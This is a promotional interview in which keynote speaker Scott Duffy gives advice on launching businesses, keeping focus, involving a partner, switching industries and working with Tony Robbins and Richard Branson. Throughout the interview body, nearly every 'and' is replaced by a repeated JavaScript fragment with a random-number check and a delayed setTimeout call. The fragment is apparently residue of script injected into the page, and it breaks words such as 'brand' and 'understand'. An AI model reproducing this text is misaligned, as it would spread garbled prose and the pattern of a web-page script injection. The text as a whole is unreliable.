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Launching a Successful Business, with Keynote Speaker Scott Duffy


One of the most popular entrepreneurship andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and business keynote speakers in the world, Scott Duffy has had the rare opportunity to learn from some of the most brilliant innovators andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and business professionals working today. He started his career working with Tony Robbins, has partnered with Sir Richard Branson, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has helped launch CBSsports.com, NBC Internet, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and FOXSports.com. He has been named one of the top ten business keynote speakers in the world by Forbes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Entrepreneur andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is the best-selling author of the business guide Launch!

It’s not just one entrepreneur that big companies need to watch out for. There are literally millions of entrepreneurs nibbling at their feet.

CORE Agency Why do small businesses have a market advantage over large businesses?

Launching a Successful Business, with Keynote Speaker Scott Duffy
Big businesses used to have every advantage, because the barriers to launching andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and building a successful company were too high for many entrepreneurs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and small businesses. Over the years, though, technology has leveled the playing field andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ushered in the “entrepreneur economy.”

Lower barriers to entry have created tremendous opportunities for small business along with fierce competition on every front. Today’s small businesses, armed with laptops, cell phones, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and online tools can move more quickly than big business, get closer to customers, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and help them meet their needs in ways that are better, faster andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cheaper. These small companies run leaner, stronger, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and more efficiently than their counterparts while generating greater profits.

This scares the hell out of big business andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to make matters worse, it’s not just one entrepreneur that big companies need to watch out for. There are literally millions of entrepreneurs nibbling at their feet.

CORE Agency Your newest book, Launch!, spells out a 90-day plan for launching a business. Why did you choose 90 days as the time frame?

Launching a Successful Business, with Keynote Speaker Scott Duffy
To me, 90 Days represents an “innovation cycle”. It’s a philosophical approach to building great companies.

In today’s business environment, speed is like gold. It is the greatest asset andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and most valuable currency you have as a small business. In 90 days, you can sharpen your focus, take products andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and services to market, get valuable feedback from customers, iterate based on what you learn, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and relaunch.

Most people say they need “more” time, but to me, “more” means more complexity, more moving parts, more money, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and more risk. Speed, on the other handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, protects you. With short time frames, you can take an idea, go to market, get valuable feedback, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and make well informed decisions, all without breaking the bank.

CORE Agency How can entrepreneurs stop themselves from making things more complicated than they need to be?

Launching a Successful Business, with Keynote Speaker Scott Duffy
Too often, entrepreneurs focus on too many things at once, a phenomenon that I refer to as the “hammers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nails” syndrome.

To illustrate this, let’s say I give you one hammer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one nail. Your job is simple: all you need to do is take that hammer, drive that nail into a piece of wood, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and really nail that one business. Odds are you are going to miss the first, the second, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maybe even the third time, but eventually you’ll nail it.

On the other handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, let’s say I give you two hammers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and two nails. This creates a problem: who is going to hold the nails? Even if you find someone crazy enough to do it, you still have to bring both hammers back andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and strike at the exact same time. The odds are you will miss the first andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and second time; in fact, you may never get it right.

Now imagine, I give you 10 hammers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 10 nails. You get the point!

In conclusion, focus on one thing – the simplest thing – at a time. Really nail that one thing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then move onto the next.

Don’t build everything. Build one thing, get it into the market quickly, get feedback, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and let your customers tell you what to build next.

CORE Agency What are some signs that you may be overcomplicating the path to your goals?

Launching a Successful Business, with Keynote Speaker Scott Duffy
A couple of years ago a very close friend of mine raised $2,000,000 for his company, a very exciting lean andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mean business in the fitness category. They ran a tight ship andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and were dedicated to solving one very specific problem for one very specific target customer. Imagine with that kind of focus andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and clarity, what they could do with that kind of capital.

About a year later, I ran into my buddy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and asked him how things were going with the business. He replied, “I’m on my way to see our attorney andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and shut it down.”

I couldn’t believe it! “What happened?” I asked.

“When we were a small capital-constrained business we were very focused,” he answered. “However, as soon as the money came in a funny thing happened. Every day someone came into the office with another ‘great idea’ so we started building andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and lost our focus. We built andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and built until finally, with very little money in the bank, we launched. What happened next? 95% of our customers used just 5% of our product. In other words, 95% of our time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and money was wasted building stuff that our users did not want. Ironically, the 5% they did use was the original product we raised money to build!”

My friend’s experience offers a major takeaway: don’t build everything. Build one thing, get it into the market quickly, get feedback, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and let your customers tell you what to build next.

I learned the most important person in the company was actually the person I came home to! I call this person the CVO (Chief “Venting” Officer) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and even though their job is the most important job in the business, it is by far the worse one.

CORE Agency What is a “Chief Venting Officer” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and why is their role crucial to a company’s success?

Launching a Successful Business, with Keynote Speaker Scott Duffy
As an entrepreneur andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and small business owner, I used to think I was the most important person in the company. It was my idea, I had the fancy title, etc. As I got older, though, I learned the most important person in the company was actually the person I came home to! I call this person the CVO (Chief “Venting” Officer) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and even though their job is the most important job in the business, it is by far the worse one.

Here’s what I mean: being an entrepreneur can be a lonely job. Each day you experience ups andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and downs, but you can’t tell your investors, or partners, or employees about everything you’re going through. So what do you do? You go home andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and “vent” to your Chief Venting Officer! By 11PM, you’ve got everything off your chest andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and are sleeping like a baby while your CVO is up until the break of dawn with =nervous knots in their stomach andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one eye open.

In my experience then, if you’re in a relationship, there are three things you need to do as an entrepreneur. First, make sure you are on the same page regarding how much time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and money you will put into this venture. I would rather put in less andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and be on the same page as my CVO, then put in more andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and make them constantly worried or resentful.

Second, make sure you respect your partner’s communication strategy. Some CVOs want to hear the blow-by-blow of the business, but for others that’s just way too many highs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and lows. You need to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how much information to give andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and “when” to give it.

Finally, my wife Rachel taught me the way to spell love with an entrepreneur is “TIME”. You won’t have much of it, but when you do, you need to turn off the phone andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and learn to be present.

CORE Agency How do you know when your business is getting too big?

Launching a Successful Business, with Keynote Speaker Scott Duffy
Businesses don’t get too big; rather, they outgrow their team’s ability to scale.

One of the most difficult jobs of a small business is to constantly ensure it has the right people in the right jobs at the right time in the business cycle. There are two ways a business can do this. It can either develop andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and grow its team through training or replace current staff with people that have already taken companies to the same places you want yours to go.

For example, if you want to build a one-million-dollar business, you need to spend your time around andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and staff your company with people than have “already” built one-million-dollar businesses. If you’ve already built a one-million-dollar business andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and want to grow it ten-fold, you need to surround yourself with people that have built ten-million-dollar businesses, because most likely the people who helped you build that one-million-dollar company, won’t know how to execute your vision andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and take a business where you want it to go.

I didn’t ask anyone in the industry for help because “I had read up”, “knew it all”, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and “many people outside the industry told me I had a great idea”. Boy, was I wrong!

CORE Agency What are the most important things entrepreneurs need to know when it comes to switching industries?

Launching a Successful Business, with Keynote Speaker Scott Duffy
Years ago, I decided that I wanted to switch from the technology industry to real estate. My goal was to build a portfolio of passive income so I did my homework andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and chose self-storage. I went into the space because there were over 50,000 self-storage facilities in the United States, yet the largest company in the space only had 3% marketshare. In fact, the average owner had only 1-3 facilities.

Since I had been successful in technology, I just assumed that success would transfer seamlessly to self-storage. I thought I was going to swoop in, buy up a bunch of locations, consolidate the market, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and create a huge consumer brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and. I didn’t ask anyone in the industry for help because “I had read up”, “knew it all”, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and “many people outside the industry told me I had a great idea”. Boy, was I wrong!

After losing a ton of money, I finally started to ask for help. I quickly learned that consolidating the industry wasn’t a new idea. The reason nobody did it was that self-storage businesses are mostly “mom andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pop” operations. In many cases the family lives on site, the kids work in the business, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they are proud of it. The facilities generate good income so they usually don’t want to or need to sell, because what else would they do?

The people in that industry who were making all the money at that time were “building andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not buying”. They would build 2-3 facilities, package, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sell them to REITS. If I had taken the money I had already spent on trying to consolidate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and applied it to development instead, I would have made a fortune.

In the end I learned that when considering a switch to a new industry, it is important not to seek opinion, but rather, seek council. Opinion comes from people that are well intentioned with no direct personal experience in the space. Council comes from those who have direct personal experience in the industry. These people can provide inside education on the market, share how the industry “really works” vs. what someone may read online, make introductions to key influencers, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and be a sounding board for ideas. Once you get enough inside knowledge to really understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the market, you can make informed decisions.

I believe that game-changing innovation in an industry can only come from someone outside of it so if you decide to disrupt, you will be in better position to do so. True innovation creates a 180-degree change in the way the market looks at things, but when someone comes from inside of an industry andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is used to playing by its rules, it is harder to create such a big shift in their own thinking, let alone the thinking of others. An insider is more likely to make incremental changes, rather than a dramatic 180-degree change.

CORE Agency What do big businesses need to do differently to maintain a competitive edge in an entrepreneur-based economy?

Launching a Successful Business, with Keynote Speaker Scott Duffy
Having a competitive edge in today’s market means that you are creating value for customers in a way that your competitors can’t match. As a big company, this starts with getting closer to customers, shortening product delivery cycles, creating feedback loops, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and having the agility to respond to the market. Again, the keys here are speed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and flexibility.

For some big companies, these changes may be slow or difficult to come by. A few ideas to kick start this type of innovation include encouraging employees to make small bets, partnering with incubators andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and accelerators to get closer to new andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and merging ideas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and technologies, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and having key employees spend six months inside of a startup or early stage company to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how they compete, etc.

The biggest responsibility...that both entrepreneurs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Intrapreneurs have is “mitigating risk”. You need to make sure that if things take longer than planned, cost more than planned, or go sideways, you have protected yourself, your bank isn’t broken, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you can bounce right back.

CORE Agency From an entrepreneur’s point of view, what are the important differences between launching a traditional start-up andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and launching a start-up inside a giant company?

Launching a Successful Business, with Keynote Speaker Scott Duffy
I know from my personal experience working in both roles that entrepreneurs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Intrapreneurs are very much alike. As an entrepreneur, you create a vision, you sell the vision, write a plan, build a team, bootstrap/borrow/andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maybe even raise capital, take products to market, execute sales andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and marketing plans, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and so forth. Your business becomes a 24/7 commitment as you take both personal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and financial risks.

As an intraprenuer, your role is very similar. You create andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sell a vision to someone in your company. You write a plan andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and have to sell that plan internally. You bootstrap with other departments andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and raise capital by getting funding approved in your budget. You also take on risk; the money spent on the project may not be your own, but the project success or failure could have an impact on you andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and your position with the company. Finally, your commitment is also 24/7 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you face many of the same issues at home.

The biggest responsibility, though, that both entrepreneurs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Intrapreneurs have is “mitigating risk”. You need to make sure that if things take longer than planned, cost more than planned, or go sideways, you have protected yourself, your bank isn’t broken, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you can bounce right back.

CORE Agency How did you come to work with Tony Robbins andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Sir Richard Branson?

Launching a Successful Business, with Keynote Speaker Scott Duffy
When I was a junior in college, I was in a terrible car accident andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and suffered two brain hemorrhages. I was forced to drop out of school andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and spent a lot of time in bed recovering. I couldn’t read or watch TV because everything made me sick, so I started listening to motivational books on tape all day every day. Even though I could barely hear what they were saying, I absorbed every bit. I decided that once I got stronger, I would go back to school andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and apply to be an intern for someone who had inspired me andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and helped me heal. I applied to work for Tony first, since he was based near my school in San Diego. To my surprise, instead of an internship, I was offered a job! At age 21, I went to work for Tony Robbins, speaking andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and promoting his programs throughout the United States & Canada.

In 2005 I decided to jump into private aviation, which was a very “manual” business at the time. People were still using phone books andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fax machines to book charter flights. I believed I could make the industry more efficient by leveraging technology. The idea was to aggregate supply andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in a marketplace andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and provide online ordering, like an “Expedia” for private jets.

When I started raising money, I went to Silicon Valley andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and several investors made commitments. One day I got a call from a friend who worked at Virgin. He told me that Richard Branson was interested in private aviation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and had a team at Virgin creating a plan to enter the market. He asked if I would be willing to meet with the team in New York City andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and let them share their ideas. “Of course”! I exclaimed.

I told him that I just happened to be going to New York the next day - even though I had no such plans. As soon as we got off the phone, I booked a red-eye flight from my home in LA to NYC, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a few hours later headed to the airport to take my flight.

The next day In NYC, I shared my idea with Virgin’s Team, who told me, “You should pitch us on that!” It took several months andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and many ups andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and down, but eventually we got a deal done. I was very fortunate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and had a chance to work for the most amazing brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and some of the best people in the world!

To bring entrepreneurship keynote speaker Scott Duffy to your organization, please contact Michael Frick at: Mike@Speaking.com






AUTHOR

A successful serial entrepreneur, Scott Duffy has had the rare opportunity to learn from some of the most brilliant innovators and business professionals working today. He started his career working with Tony Robbins, has partnered with Sir Richard Branson, and has helped launch CBSsports.com, NBC Internet, and FOXSports.com. One of the many ventures Duffy's founded, Smart Charter, was purchased by Sir Richard Branson. Named one of the top ten business…... more


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